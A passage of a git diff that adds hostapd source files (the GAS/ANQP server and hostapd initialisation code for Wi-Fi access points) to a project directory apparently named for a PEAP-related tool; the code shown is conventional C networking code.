1.5 * comeback-delay */ + comeback_delay_tus = comeback_delay_tus + + (comeback_delay_tus / 2); + comeback_delay_secs = (comeback_delay_tus * 1024) / 1000000; + comeback_delay_usecs = (comeback_delay_tus * 1024) - + (comeback_delay_secs * 1000000); + eloop_register_timeout(comeback_delay_secs, + comeback_delay_usecs, + gas_serv_clear_cached_ies, dialog, + NULL); + goto tx_gas_response_done; + } + + buf = wpabuf_alloc_copy(wpabuf_head_u8(dialog->sd_resp) + + dialog->sd_resp_pos, frag_len); + if (buf == NULL) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Buffer allocation " + "failed"); + goto tx_gas_response_done; + } + tx_buf = gas_anqp_build_initial_resp_buf(dialog_token, + WLAN_STATUS_SUCCESS, 0, buf); + wpabuf_free(buf); + if (tx_buf == NULL) + goto tx_gas_response_done; + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Tx GAS Initial " + "Response (frag_id %d frag_len %d)", + dialog->sd_frag_id, (int) frag_len); + dialog->sd_frag_id++; + + hostapd_drv_send_action(hapd, hapd->iface->freq, 0, dst, + wpabuf_head(tx_buf), wpabuf_len(tx_buf)); + wpabuf_free(tx_buf); +tx_gas_response_done: + gas_serv_clear_cached_ies(dialog, NULL); +} + + +static void gas_serv_rx_gas_comeback_req(struct hostapd_data *hapd, + const u8 *sa, + const u8 *data, size_t len) +{ + struct gas_dialog_info *dialog; + struct wpabuf *buf, *tx_buf; + u8 dialog_token; + size_t frag_len; + int more = 0; + + wpa_hexdump(MSG_DEBUG, "GAS: RX GAS Comeback Request", data, len); + if (len < 1) + return; + dialog_token = *data; + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Dialog Token: %u", + dialog_token); + + dialog = gas_serv_dialog_find(hapd, sa, dialog_token); + if (!dialog) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: No pending SD " + "response fragment for " MACSTR " dialog token %u", + MAC2STR(sa), dialog_token); + + if (sa[0] & 0x01) + return; /* Invalid source address - drop silently */ + tx_buf = gas_anqp_build_comeback_resp_buf( + dialog_token, WLAN_STATUS_NO_OUTSTANDING_GAS_REQ, 0, 0, + 0, NULL); + if (tx_buf == NULL) + return; + goto send_resp; + } + + if (dialog->sd_resp == NULL) { + wpa_printf(MSG_DEBUG, "GAS: Remote request 0x%x received 0x%x", + dialog->requested, dialog->received); + if ((dialog->requested & dialog->received) != + dialog->requested) { + wpa_printf(MSG_DEBUG, "GAS: Did not receive response " + "from remote processing"); + gas_serv_dialog_clear(dialog); + tx_buf = gas_anqp_build_comeback_resp_buf( + dialog_token, + WLAN_STATUS_GAS_RESP_NOT_RECEIVED, 0, 0, 0, + NULL); + if (tx_buf == NULL) + return; + goto send_resp; + } + + buf = gas_serv_build_gas_resp_payload(hapd, + dialog->all_requested, + dialog, NULL, 0); + wpa_hexdump_buf(MSG_MSGDUMP, "ANQP: Generated ANQP responses", + buf); + if (!buf) + goto rx_gas_comeback_req_done; + dialog->sd_resp = buf; + dialog->sd_resp_pos = 0; + } + frag_len = wpabuf_len(dialog->sd_resp) - dialog->sd_resp_pos; + if (frag_len > hapd->gas_frag_limit) { + frag_len = hapd->gas_frag_limit; + more = 1; + } + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: resp frag_len %u", + (unsigned int) frag_len); + buf = wpabuf_alloc_copy(wpabuf_head_u8(dialog->sd_resp) + + dialog->sd_resp_pos, frag_len); + if (buf == NULL) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Failed to allocate " + "buffer"); + goto rx_gas_comeback_req_done; + } + tx_buf = gas_anqp_build_comeback_resp_buf(dialog_token, + WLAN_STATUS_SUCCESS, + dialog->sd_frag_id, + more, 0, buf); + wpabuf_free(buf); + if (tx_buf == NULL) + goto rx_gas_comeback_req_done; + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: Tx GAS Comeback Response " + "(frag_id %d more=%d frag_len=%d)", + dialog->sd_frag_id, more, (int) frag_len); + dialog->sd_frag_id++; + dialog->sd_resp_pos += frag_len; + + if (more) { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: %d more bytes remain " + "to be sent", + (int) (wpabuf_len(dialog->sd_resp) - + dialog->sd_resp_pos)); + } else { + wpa_msg(hapd->msg_ctx, MSG_DEBUG, "GAS: All fragments of " + "SD response sent"); + gas_serv_dialog_clear(dialog); + gas_serv_free_dialogs(hapd, sa); + } + +send_resp: + hostapd_drv_send_action(hapd, hapd->iface->freq, 0, sa, + wpabuf_head(tx_buf), wpabuf_len(tx_buf)); + wpabuf_free(tx_buf); + return; + +rx_gas_comeback_req_done: + gas_serv_clear_cached_ies(dialog, NULL); +} + + +static void gas_serv_rx_public_action(void *ctx, const u8 *buf, size_t len, + int freq) +{ + struct hostapd_data *hapd = ctx; + const struct ieee80211_mgmt *mgmt; + size_t hdr_len; + const u8 *sa, *data; + + mgmt = (const struct ieee80211_mgmt *) buf; + hdr_len = (const u8 *) &mgmt->u.action.u.vs_public_action.action - buf; + if (hdr_len > len) + return; + if (mgmt->u.action.category != WLAN_ACTION_PUBLIC) + return; + sa = mgmt->sa; + len -= hdr_len; + data = &mgmt->u.action.u.public_action.action; + switch (data[0]) { + case WLAN_PA_GAS_INITIAL_REQ: + gas_serv_rx_gas_initial_req(hapd, sa, data + 1, len - 1); + break; + case WLAN_PA_GAS_COMEBACK_REQ: + gas_serv_rx_gas_comeback_req(hapd, sa, data + 1, len - 1); + break; + } +} + + +int gas_serv_init(struct hostapd_data *hapd) +{ + hapd->public_action_cb2 = gas_serv_rx_public_action; + hapd->public_action_cb2_ctx = hapd; + hapd->gas_frag_limit = 1400; + if (hapd->conf->gas_frag_limit > 0) + hapd->gas_frag_limit = hapd->conf->gas_frag_limit; + return 0; +} + + +void gas_serv_deinit(struct hostapd_data *hapd) +{ +} diff --git a/peapwn/mods/hostap/src/ap/gas_serv.h b/peapwn/mods/hostap/src/ap/gas_serv.h new file mode 100644 index 000000000..4213cf6da --- /dev/null +++ b/peapwn/mods/hostap/src/ap/gas_serv.h @@ -0,0 +1,71 @@ +/* + * Generic advertisement service (GAS) server + * Copyright (c) 2011-2012, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef GAS_SERV_H +#define GAS_SERV_H + +#define ANQP_REQ_CAPABILITY_LIST \ + (1 << (ANQP_CAPABILITY_LIST - ANQP_QUERY_LIST)) +#define ANQP_REQ_VENUE_NAME \ + (1 << (ANQP_VENUE_NAME - ANQP_QUERY_LIST)) +#define ANQP_REQ_NETWORK_AUTH_TYPE \ + (1 << (ANQP_NETWORK_AUTH_TYPE - ANQP_QUERY_LIST)) +#define ANQP_REQ_ROAMING_CONSORTIUM \ + (1 << (ANQP_ROAMING_CONSORTIUM - ANQP_QUERY_LIST)) +#define ANQP_REQ_IP_ADDR_TYPE_AVAILABILITY \ + (1 << (ANQP_IP_ADDR_TYPE_AVAILABILITY - ANQP_QUERY_LIST)) +#define ANQP_REQ_NAI_REALM \ + (1 << (ANQP_NAI_REALM - ANQP_QUERY_LIST)) +#define ANQP_REQ_3GPP_CELLULAR_NETWORK \ + (1 << (ANQP_3GPP_CELLULAR_NETWORK - ANQP_QUERY_LIST)) +#define ANQP_REQ_DOMAIN_NAME \ + (1 << (ANQP_DOMAIN_NAME - ANQP_QUERY_LIST)) +#define ANQP_REQ_HS_CAPABILITY_LIST \ + (0x10000 << HS20_STYPE_CAPABILITY_LIST) +#define ANQP_REQ_OPERATOR_FRIENDLY_NAME \ + (0x10000 << HS20_STYPE_OPERATOR_FRIENDLY_NAME) +#define ANQP_REQ_WAN_METRICS \ + (0x10000 << HS20_STYPE_WAN_METRICS) +#define ANQP_REQ_CONNECTION_CAPABILITY \ + (0x10000 << HS20_STYPE_CONNECTION_CAPABILITY) +#define ANQP_REQ_NAI_HOME_REALM \ + (0x10000 << HS20_STYPE_NAI_HOME_REALM_QUERY) +#define ANQP_REQ_OPERATING_CLASS \ + (0x10000 << HS20_STYPE_OPERATING_CLASS) + +/* To account for latencies between hostapd and external ANQP processor */ +#define GAS_SERV_COMEBACK_DELAY_FUDGE 10 +#define GAS_SERV_MIN_COMEBACK_DELAY 100 /* in TU */ + +struct gas_dialog_info { + u8 valid; + u8 index; + struct wpabuf *sd_resp; /* Fragmented response */ + u8 dialog_token; + size_t sd_resp_pos; /* Offset in sd_resp */ + u8 sd_frag_id; + u16 comeback_delay; + + unsigned int requested; + unsigned int received; + unsigned int all_requested; +}; + +struct hostapd_data; + +void gas_serv_tx_gas_response(struct hostapd_data *hapd, const u8 *dst, + struct gas_dialog_info *dialog); +struct gas_dialog_info * +gas_serv_dialog_find(struct hostapd_data *hapd, const u8 *addr, + u8 dialog_token); +void gas_serv_dialog_clear(struct gas_dialog_info *dialog); + +int gas_serv_init(struct hostapd_data *hapd); +void gas_serv_deinit(struct hostapd_data *hapd); + +#endif /* GAS_SERV_H */ diff --git a/peapwn/mods/hostap/src/ap/hostapd.c b/peapwn/mods/hostap/src/ap/hostapd.c new file mode 100644 index 000000000..492861e07 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/hostapd.c @@ -0,0 +1,2252 @@ +/* + * hostapd / Initialization and configuration + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "common/ieee802_11_defs.h" +#include "common/wpa_ctrl.h" +#include "radius/radius_client.h" +#include "radius/radius_das.h" +#include "drivers/driver.h" +#include "hostapd.h" +#include "authsrv.h" +#include "sta_info.h" +#include "accounting.h" +#include "ap_list.h" +#include "beacon.h" +#include "iapp.h" +#include "ieee802_1x.h" +#include "ieee802_11_auth.h" +#include "vlan_init.h" +#include "wpa_auth.h" +#include "wps_hostapd.h" +#include "hw_features.h" +#include "wpa_auth_glue.h" +#include "ap_drv_ops.h" +#include "ap_config.h" +#include "p2p_hostapd.h" +#include "gas_serv.h" +#include "dfs.h" + + +static int hostapd_flush_old_stations(struct hostapd_data *hapd, u16 reason); +static int hostapd_setup_encryption(char *iface, struct hostapd_data *hapd); +static int hostapd_broadcast_wep_clear(struct hostapd_data *hapd); +static int setup_interface2(struct hostapd_iface *iface); +static void channel_list_update_timeout(void *eloop_ctx, void *timeout_ctx); + +extern int wpa_debug_level; +extern struct wpa_driver_ops *wpa_drivers[]; + + +int hostapd_for_each_interface(struct hapd_interfaces *interfaces, + int (*cb)(struct hostapd_iface *iface, + void *ctx), void *ctx) +{ + size_t i; + int ret; + + for (i = 0; i < interfaces->count; i++) { + ret = cb(interfaces->iface[i], ctx); + if (ret) + return ret; + } + + return 0; +} + + +static void hostapd_reload_bss(struct hostapd_data *hapd) +{ + struct hostapd_ssid *ssid; + +#ifndef CONFIG_NO_RADIUS + radius_client_reconfig(hapd->radius, hapd->conf->radius); +#endif /* CONFIG_NO_RADIUS */ + + ssid = &hapd->conf->ssid; + if (!ssid->wpa_psk_set && ssid->wpa_psk && !ssid->wpa_psk->next && + ssid->wpa_passphrase_set && ssid->wpa_passphrase) { + /* + * Force PSK to be derived again since SSID or passphrase may + * have changed. + */ + os_free(ssid->wpa_psk); + ssid->wpa_psk = NULL; + } + if (hostapd_setup_wpa_psk(hapd->conf)) { + wpa_printf(MSG_ERROR, "Failed to re-configure WPA PSK " + "after reloading configuration"); + } + + if (hapd->conf->ieee802_1x || hapd->conf->wpa) + hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 1); + else + hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 0); + + if (hapd->conf->wpa && hapd->wpa_auth == NULL) { + hostapd_setup_wpa(hapd); + if (hapd->wpa_auth) + wpa_init_keys(hapd->wpa_auth); + } else if (hapd->conf->wpa) { + const u8 *wpa_ie; + size_t wpa_ie_len; + hostapd_reconfig_wpa(hapd); + wpa_ie = wpa_auth_get_wpa_ie(hapd->wpa_auth, &wpa_ie_len); + if (hostapd_set_generic_elem(hapd, wpa_ie, wpa_ie_len)) + wpa_printf(MSG_ERROR, "Failed to configure WPA IE for " + "the kernel driver."); + } else if (hapd->wpa_auth) { + wpa_deinit(hapd->wpa_auth); + hapd->wpa_auth = NULL; + hostapd_set_privacy(hapd, 0); + hostapd_setup_encryption(hapd->conf->iface, hapd); + hostapd_set_generic_elem(hapd, (u8 *) "", 0); + } + + ieee802_11_set_beacon(hapd); + hostapd_update_wps(hapd); + + if (hapd->conf->ssid.ssid_set && + hostapd_set_ssid(hapd, hapd->conf->ssid.ssid, + hapd->conf->ssid.ssid_len)) { + wpa_printf(MSG_ERROR, "Could not set SSID for kernel driver"); + /* try to continue */ + } + wpa_printf(MSG_DEBUG, "Reconfigured interface %s", hapd->conf->iface); +} + + +static void hostapd_clear_old(struct hostapd_iface *iface) +{ + size_t j; + + /* + * Deauthenticate all stations since the new configuration may not + * allow them to use the BSS anymore. + */ + for (j = 0; j < iface->num_bss; j++) { + hostapd_flush_old_stations(iface->bss[j], + WLAN_REASON_PREV_AUTH_NOT_VALID); + hostapd_broadcast_wep_clear(iface->bss[j]); + +#ifndef CONFIG_NO_RADIUS + /* TODO: update dynamic data based on changed configuration + * items (e.g., open/close sockets, etc.) */ + radius_client_flush(iface->bss[j]->radius, 0); +#endif /* CONFIG_NO_RADIUS */ + } +} + + +int hostapd_reload_config(struct hostapd_iface *iface) +{ + struct hostapd_data *hapd = iface->bss[0]; + struct hostapd_config *newconf, *oldconf; + size_t j; + + if (iface->config_fname == NULL) { + /* Only in-memory config in use - assume it has been updated */ + hostapd_clear_old(iface); + for (j = 0; j < iface->num_bss; j++) + hostapd_reload_bss(iface->bss[j]); + return 0; + } + + if (iface->interfaces == NULL || + iface->interfaces->config_read_cb == NULL) + return -1; + newconf = iface->interfaces->config_read_cb(iface->config_fname); + if (newconf == NULL) + return -1; + + hostapd_clear_old(iface); + + oldconf = hapd->iconf; + iface->conf = newconf; + + for (j = 0; j < iface->num_bss; j++) { + hapd = iface->bss[j]; + hapd->iconf = newconf; + hapd->conf = newconf->bss[j]; + hostapd_reload_bss(hapd); + } + + hostapd_config_free(oldconf); + + + return 0; +} + + +static void hostapd_broadcast_key_clear_iface(struct hostapd_data *hapd, + char *ifname) +{ + int i; + + for (i = 0; i < NUM_WEP_KEYS; i++) { + if (hostapd_drv_set_key(ifname, hapd, WPA_ALG_NONE, NULL, i, + 0, NULL, 0, NULL, 0)) { + wpa_printf(MSG_DEBUG, "Failed to clear default " + "encryption keys (ifname=%s keyidx=%d)", + ifname, i); + } + } +#ifdef CONFIG_IEEE80211W + if (hapd->conf->ieee80211w) { + for (i = NUM_WEP_KEYS; i < NUM_WEP_KEYS + 2; i++) { + if (hostapd_drv_set_key(ifname, hapd, WPA_ALG_NONE, + NULL, i, 0, NULL, + 0, NULL, 0)) { + wpa_printf(MSG_DEBUG, "Failed to clear " + "default mgmt encryption keys " + "(ifname=%s keyidx=%d)", ifname, i); + } + } + } +#endif /* CONFIG_IEEE80211W */ +} + + +static int hostapd_broadcast_wep_clear(struct hostapd_data *hapd) +{ + hostapd_broadcast_key_clear_iface(hapd, hapd->conf->iface); + return 0; +} + + +static int hostapd_broadcast_wep_set(struct hostapd_data *hapd) +{ + int errors = 0, idx; + struct hostapd_ssid *ssid = &hapd->conf->ssid; + + idx = ssid->wep.idx; + if (ssid->wep.default_len && + hostapd_drv_set_key(hapd->conf->iface, + hapd, WPA_ALG_WEP, broadcast_ether_addr, idx, + 1, NULL, 0, ssid->wep.key[idx], + ssid->wep.len[idx])) { + wpa_printf(MSG_WARNING, "Could not set WEP encryption."); + errors++; + } + + return errors; +} + + +static void hostapd_free_hapd_data(struct hostapd_data *hapd) +{ + if (!hapd->started) { + wpa_printf(MSG_ERROR, "%s: Interface %s wasn't started", + __func__, hapd->conf->iface); + return; + } + hapd->started = 0; + + wpa_printf(MSG_DEBUG, "%s(%s)", __func__, hapd->conf->iface); + iapp_deinit(hapd->iapp); + hapd->iapp = NULL; + accounting_deinit(hapd); + hostapd_deinit_wpa(hapd); + vlan_deinit(hapd); + hostapd_acl_deinit(hapd); +#ifndef CONFIG_NO_RADIUS + radius_client_deinit(hapd->radius); + hapd->radius = NULL; + radius_das_deinit(hapd->radius_das); + hapd->radius_das = NULL; +#endif /* CONFIG_NO_RADIUS */ + + hostapd_deinit_wps(hapd); + + authsrv_deinit(hapd); + + if (hapd->interface_added && + hostapd_if_remove(hapd, WPA_IF_AP_BSS, hapd->conf->iface)) { + wpa_printf(MSG_WARNING, "Failed to remove BSS interface %s", + hapd->conf->iface); + } + + os_free(hapd->probereq_cb); + hapd->probereq_cb = NULL; + +#ifdef CONFIG_P2P + wpabuf_free(hapd->p2p_beacon_ie); + hapd->p2p_beacon_ie = NULL; + wpabuf_free(hapd->p2p_probe_resp_ie); + hapd->p2p_probe_resp_ie = NULL; +#endif /* CONFIG_P2P */ + + wpabuf_free(hapd->time_adv); + +#ifdef CONFIG_INTERWORKING + gas_serv_deinit(hapd); +#endif /* CONFIG_INTERWORKING */ + +#ifdef CONFIG_SQLITE + os_free(hapd->tmp_eap_user.identity); + os_free(hapd->tmp_eap_user.password); +#endif /* CONFIG_SQLITE */ +} + + +/** + * hostapd_cleanup - Per-BSS cleanup (deinitialization) + * @hapd: Pointer to BSS data + * + * This function is used to free all per-BSS data structures and resources. + * Most of the modules that are initialized in hostapd_setup_bss() are + * deinitialized here. + */ +static void hostapd_cleanup(struct hostapd_data *hapd) +{ + wpa_printf(MSG_DEBUG, "%s(hapd=%p (%s))", __func__, hapd, + hapd->conf->iface); + if (hapd->iface->interfaces && + hapd->iface->interfaces->ctrl_iface_deinit) + hapd->iface->interfaces->ctrl_iface_deinit(hapd); + hostapd_free_hapd_data(hapd); +} + + +static void hostapd_cleanup_iface_partial(struct hostapd_iface *iface) +{ + wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); + hostapd_free_hw_features(iface->hw_features, iface->num_hw_features); + iface->hw_features = NULL; + os_free(iface->current_rates); + iface->current_rates = NULL; + os_free(iface->basic_rates); + iface->basic_rates = NULL; + ap_list_deinit(iface); +} + + +/** + * hostapd_cleanup_iface - Complete per-interface cleanup + * @iface: Pointer to interface data + * + * This function is called after per-BSS data structures are deinitialized + * with hostapd_cleanup(). + */ +static void hostapd_cleanup_iface(struct hostapd_iface *iface) +{ + wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); + eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); + + hostapd_cleanup_iface_partial(iface); + hostapd_config_free(iface->conf); + iface->conf = NULL; + + os_free(iface->config_fname); + os_free(iface->bss); + wpa_printf(MSG_DEBUG, "%s: free iface=%p", __func__, iface); + os_free(iface); +} + + +static void hostapd_clear_wep(struct hostapd_data *hapd) +{ + if (hapd->drv_priv) { + hostapd_set_privacy(hapd, 0); + hostapd_broadcast_wep_clear(hapd); + } +} + + +static int hostapd_setup_encryption(char *iface, struct hostapd_data *hapd) +{ + int i; + + hostapd_broadcast_wep_set(hapd); + + if (hapd->conf->ssid.wep.default_len) { + hostapd_set_privacy(hapd, 1); + return 0; + } + + /* + * When IEEE 802.1X is not enabled, the driver may need to know how to + * set authentication algorithms for static WEP. + */ + hostapd_drv_set_authmode(hapd, hapd->conf->auth_algs); + + for (i = 0; i < 4; i++) { + if (hapd->conf->ssid.wep.key[i] && + hostapd_drv_set_key(iface, hapd, WPA_ALG_WEP, NULL, i, + i == hapd->conf->ssid.wep.idx, NULL, 0, + hapd->conf->ssid.wep.key[i], + hapd->conf->ssid.wep.len[i])) { + wpa_printf(MSG_WARNING, "Could not set WEP " + "encryption."); + return -1; + } + if (hapd->conf->ssid.wep.key[i] && + i == hapd->conf->ssid.wep.idx) + hostapd_set_privacy(hapd, 1); + } + + return 0; +} + + +static int hostapd_flush_old_stations(struct hostapd_data *hapd, u16 reason) +{ + int ret = 0; + u8 addr[ETH_ALEN]; + + if (hostapd_drv_none(hapd) || hapd->drv_priv == NULL) + return 0; + + wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "Flushing old station entries"); + if (hostapd_flush(hapd)) { + wpa_msg(hapd->msg_ctx, MSG_WARNING, "Could not connect to " + "kernel driver"); + ret = -1; + } + wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "Deauthenticate all stations"); + os_memset(addr, 0xff, ETH_ALEN); + hostapd_drv_sta_deauth(hapd, addr, reason); + hostapd_free_stas(hapd); + + return ret; +} + + +/** + * hostapd_validate_bssid_configuration - Validate BSSID configuration + * @iface: Pointer to interface data + * Returns: 0 on success, -1 on failure + * + * This function is used to validate that the configured BSSIDs are valid. + */ +static int hostapd_validate_bssid_configuration(struct hostapd_iface *iface) +{ + u8 mask[ETH_ALEN] = { 0 }; + struct hostapd_data *hapd = iface->bss[0]; + unsigned int i = iface->conf->num_bss, bits = 0, j; + int auto_addr = 0; + + if (hostapd_drv_none(hapd)) + return 0; + + /* Generate BSSID mask that is large enough to cover the BSSIDs. */ + + /* Determine the bits necessary to cover the number of BSSIDs. */ + for (i--; i; i >>= 1) + bits++; + + /* Determine the bits necessary to any configured BSSIDs, + if they are higher than the number of BSSIDs. */ + for (j = 0; j < iface->conf->num_bss; j++) { + if (hostapd_mac_comp_empty(iface->conf->bss[j]->bssid) == 0) { + if (j) + auto_addr++; + continue; + } + + for (i = 0; i < ETH_ALEN; i++) { + mask[i] |= + iface->conf->bss[j]->bssid[i] ^ + hapd->own_addr[i]; + } + } + + if (!auto_addr) + goto skip_mask_ext; + + for (i = 0; i < ETH_ALEN && mask[i] == 0; i++) + ; + j = 0; + if (i < ETH_ALEN) { + j = (5 - i) * 8; + + while (mask[i] != 0) { + mask[i] >>= 1; + j++; + } + } + + if (bits < j) + bits = j; + + if (bits > 40) { + wpa_printf(MSG_ERROR, "Too many bits in the BSSID mask (%u)", + bits); + return -1; + } + + os_memset(mask, 0xff, ETH_ALEN); + j = bits / 8; + for (i = 5; i > 5 - j; i--) + mask[i] = 0; + j = bits % 8; + while (j--) + mask[i] <<= 1; + +skip_mask_ext: + wpa_printf(MSG_DEBUG, "BSS count %lu, BSSID mask " MACSTR " (%d bits)", + (unsigned long) iface->conf->num_bss, MAC2STR(mask), bits); + + if (!auto_addr) + return 0; + + for (i = 0; i < ETH_ALEN; i++) { + if ((hapd->own_addr[i] & mask[i]) != hapd->own_addr[i]) { + wpa_printf(MSG_ERROR, "Invalid BSSID mask " MACSTR + " for start address " MACSTR ".", + MAC2STR(mask), MAC2STR(hapd->own_addr)); + wpa_printf(MSG_ERROR, "Start address must be the " + "first address in the block (i.e., addr " + "AND mask == addr)."); + return -1; + } + } + + return 0; +} + + +static int mac_in_conf(struct hostapd_config *conf, const void *a) +{ + size_t i; + + for (i = 0; i < conf->num_bss; i++) { + if (hostapd_mac_comp(conf->bss[i]->bssid, a) == 0) { + return 1; + } + } + + return 0; +} + + +#ifndef CONFIG_NO_RADIUS + +static int hostapd_das_nas_mismatch(struct hostapd_data *hapd, + struct radius_das_attrs *attr) +{ + /* TODO */ + return 0; +} + + +static struct sta_info * hostapd_das_find_sta(struct hostapd_data *hapd, + struct radius_das_attrs *attr) +{ + struct sta_info *sta = NULL; + char buf[128]; + + if (attr->sta_addr) + sta = ap_get_sta(hapd, attr->sta_addr); + + if (sta == NULL && attr->acct_session_id && + attr->acct_session_id_len == 17) { + for (sta = hapd->sta_list; sta; sta = sta->next) { + os_snprintf(buf, sizeof(buf), "%08X-%08X", + sta->acct_session_id_hi, + sta->acct_session_id_lo); + if (os_memcmp(attr->acct_session_id, buf, 17) == 0) + break; + } + } + + if (sta == NULL && attr->cui) { + for (sta = hapd->sta_list; sta; sta = sta->next) { + struct wpabuf *cui; + cui = ieee802_1x_get_radius_cui(sta->eapol_sm); + if (cui && wpabuf_len(cui) == attr->cui_len && + os_memcmp(wpabuf_head(cui), attr->cui, + attr->cui_len) == 0) + break; + } + } + + if (sta == NULL && attr->user_name) { + for (sta = hapd->sta_list; sta; sta = sta->next) { + u8 *identity; + size_t identity_len; + identity = ieee802_1x_get_identity(sta->eapol_sm, + &identity_len); + if (identity && + identity_len == attr->user_name_len && + os_memcmp(identity, attr->user_name, identity_len) + == 0) + break; + } + } + + return sta; +} + + +static enum radius_das_res +hostapd_das_disconnect(void *ctx, struct radius_das_attrs *attr) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta; + + if (hostapd_das_nas_mismatch(hapd, attr)) + return RADIUS_DAS_NAS_MISMATCH; + + sta = hostapd_das_find_sta(hapd, attr); + if (sta == NULL) + return RADIUS_DAS_SESSION_NOT_FOUND; + + hostapd_drv_sta_deauth(hapd, sta->addr, + WLAN_REASON_PREV_AUTH_NOT_VALID); + ap_sta_deauthenticate(hapd, sta, WLAN_REASON_PREV_AUTH_NOT_VALID); + + return RADIUS_DAS_SUCCESS; +} + +#endif /* CONFIG_NO_RADIUS */ + + +/** + * hostapd_setup_bss - Per-BSS setup (initialization) + * @hapd: Pointer to BSS data + * @first: Whether this BSS is the first BSS of an interface; -1 = not first, + * but interface may exist + * + * This function is used to initialize all per-BSS data structures and + * resources. This gets called in a loop for each BSS when an interface is + * initialized. Most of the modules that are initialized here will be + * deinitialized in hostapd_cleanup(). + */ +static int hostapd_setup_bss(struct hostapd_data *hapd, int first) +{ + struct hostapd_bss_config *conf = hapd->conf; + u8 ssid[HOSTAPD_MAX_SSID_LEN + 1]; + int ssid_len, set_ssid; + char force_ifname[IFNAMSIZ]; + u8 if_addr[ETH_ALEN]; + + wpa_printf(MSG_DEBUG, "%s(hapd=%p (%s), first=%d)", + __func__, hapd, hapd->conf->iface, first); + + if (hapd->started) { + wpa_printf(MSG_ERROR, "%s: Interface %s was already started", + __func__, hapd->conf->iface); + return -1; + } + hapd->started = 1; + + if (!first || first == -1) { + if (hostapd_mac_comp_empty(hapd->conf->bssid) == 0) { + /* Allocate the next available BSSID. */ + do { + inc_byte_array(hapd->own_addr, ETH_ALEN); + } while (mac_in_conf(hapd->iconf, hapd->own_addr)); + } else { + /* Allocate the configured BSSID. */ + os_memcpy(hapd->own_addr, hapd->conf->bssid, ETH_ALEN); + + if (hostapd_mac_comp(hapd->own_addr, + hapd->iface->bss[0]->own_addr) == + 0) { + wpa_printf(MSG_ERROR, "BSS '%s' may not have " + "BSSID set to the MAC address of " + "the radio", hapd->conf->iface); + return -1; + } + } + + hapd->interface_added = 1; + if (hostapd_if_add(hapd->iface->bss[0], WPA_IF_AP_BSS, + hapd->conf->iface, hapd->own_addr, hapd, + &hapd->drv_priv, force_ifname, if_addr, + hapd->conf->bridge[0] ? hapd->conf->bridge : + NULL, first == -1)) { + wpa_printf(MSG_ERROR, "Failed to add BSS (BSSID=" + MACSTR ")", MAC2STR(hapd->own_addr)); + return -1; + } + } + + if (conf->wmm_enabled < 0) + conf->wmm_enabled = hapd->iconf->ieee80211n; + + hostapd_flush_old_stations(hapd, WLAN_REASON_PREV_AUTH_NOT_VALID); + hostapd_set_privacy(hapd, 0); + + hostapd_broadcast_wep_clear(hapd); + if (hostapd_setup_encryption(hapd->conf->iface, hapd)) + return -1; + + /* + * Fetch the SSID from the system and use it or, + * if one was specified in the config file, verify they + * match. + */ + ssid_len = hostapd_get_ssid(hapd, ssid, sizeof(ssid)); + if (ssid_len < 0) { + wpa_printf(MSG_ERROR, "Could not read SSID from system"); + return -1; + } + if (conf->ssid.ssid_set) { + /* + * If SSID is specified in the config file and it differs + * from what is being used then force installation of the + * new SSID. + */ + set_ssid = (conf->ssid.ssid_len != (size_t) ssid_len || + os_memcmp(conf->ssid.ssid, ssid, ssid_len) != 0); + } else { + /* + * No SSID in the config file; just use the one we got + * from the system. + */ + set_ssid = 0; + conf->ssid.ssid_len = ssid_len; + os_memcpy(conf->ssid.ssid, ssid, conf->ssid.ssid_len); + } + + if (!hostapd_drv_none(hapd)) { + wpa_printf(MSG_ERROR, "Using interface %s with hwaddr " MACSTR + " and ssid \"%s\"", + hapd->conf->iface, MAC2STR(hapd->own_addr), + wpa_ssid_txt(hapd->conf->ssid.ssid, + hapd->conf->ssid.ssid_len)); + } + + if (hostapd_setup_wpa_psk(conf)) { + wpa_printf(MSG_ERROR, "WPA-PSK setup failed."); + return -1; + } + + /* Set SSID for the kernel driver (to be used in beacon and probe + * response frames) */ + if (set_ssid && hostapd_set_ssid(hapd, conf->ssid.ssid, + conf->ssid.ssid_len)) { + wpa_printf(MSG_ERROR, "Could not set SSID for kernel driver"); + return -1; + } + + if (wpa_debug_level == MSG_MSGDUMP) + conf->radius->msg_dumps = 1; +#ifndef CONFIG_NO_RADIUS + hapd->radius = radius_client_init(hapd, conf->radius); + if (hapd->radius == NULL) { + wpa_printf(MSG_ERROR, "RADIUS client initialization failed."); + return -1; + } + + if (hapd->conf->radius_das_port) { + struct radius_das_conf das_conf; + os_memset(&das_conf, 0, sizeof(das_conf)); + das_conf.port = hapd->conf->radius_das_port; + das_conf.shared_secret = hapd->conf->radius_das_shared_secret; + das_conf.shared_secret_len = + hapd->conf->radius_das_shared_secret_len; + das_conf.client_addr = &hapd->conf->radius_das_client_addr; + das_conf.time_window = hapd->conf->radius_das_time_window; + das_conf.require_event_timestamp = + hapd->conf->radius_das_require_event_timestamp; + das_conf.ctx = hapd; + das_conf.disconnect = hostapd_das_disconnect; + hapd->radius_das = radius_das_init(&das_conf); + if (hapd->radius_das == NULL) { + wpa_printf(MSG_ERROR, "RADIUS DAS initialization " + "failed."); + return -1; + } + } +#endif /* CONFIG_NO_RADIUS */ + + if (hostapd_acl_init(hapd)) { + wpa_printf(MSG_ERROR, "ACL initialization failed."); + return -1; + } + if (hostapd_init_wps(hapd, conf)) + return -1; + + if (authsrv_init(hapd) 